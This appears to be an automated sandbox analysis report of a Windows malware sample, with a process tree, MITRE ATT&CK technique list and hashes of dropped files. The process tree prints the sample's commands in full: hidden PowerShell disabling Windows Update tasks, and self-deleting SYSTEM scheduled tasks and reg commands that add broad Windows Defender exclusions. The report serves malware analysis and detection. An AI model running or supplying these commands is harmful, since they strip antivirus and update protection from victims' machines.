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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2104
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:5444 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1844
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
- System Location Discovery: System Language Discovery
PID:3140
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
- System Location Discovery: System Language Discovery
PID:5956
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:324 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1388
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
- System Location Discovery: System Language Discovery
PID:3168
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
- System Location Discovery: System Language Discovery
PID:4788
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:1212 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3492
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
- System Location Discovery: System Language Discovery
PID:5364
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
- System Location Discovery: System Language Discovery
PID:1716
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:868 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4588
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
- System Location Discovery: System Language Discovery
PID:2492
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
- System Location Discovery: System Language Discovery
PID:2932
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C:\Users\Admin\AppData\Local\Temp\UKVMer.exeC:\Users\Admin\AppData\Local\Temp\UKVMer.exe1⤵
- System Location Discovery: System Language Discovery
PID:804
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 0 /f1⤵PID:1816
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5560
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵PID:4852
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:236
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵PID:2028
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5760
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵PID:4784
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:684
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵PID:1080
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1756
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C:\Users\Admin\AppData\Local\Temp\UKVMer.exeC:\Users\Admin\AppData\Local\Temp\UKVMer.exe1⤵
- System Location Discovery: System Language Discovery
PID:4244
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C:\Users\Admin\AppData\Local\Temp\UKVMer.exeC:\Users\Admin\AppData\Local\Temp\UKVMer.exe1⤵
- System Location Discovery: System Language Discovery
PID:1936
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
1Clear Persistence
1Modify Registry
3Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
- MD5 d0c46cad6c0778401e21910bd6b56b70
- SHA1 7be418951ea96326aca445b8dfe449b2bfa0dca6
- SHA512 057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 20KB
- SHA256 84f1bfd047421fa6113df6eef3c3204fb41dbbe9f706be2052783cca3ccf6a0a
- MD5 b293c2144b7755a30e0ad2d0df839e9e
- SHA1 dbb6c375b03961228fc5743752d8c67765dd8ddf
- SHA512 eb5958ab756b4ea434f9018d7961919e7e55c0076e6807b0744bf95f51064b02ebd993ec07f36d76bb6d83d1484048180330315b3af687577759826b1ccf472d
- SSDEEP 384:jL3HT71S1UCChkAehZLFRHEMEuHnnNnjs2fCEyuKoSx9TlsahDcXvHnbQ:XX1SCf3ebpRPEONnj7fCPuKxx9TlzKXM
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_01mlu05o.cq3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512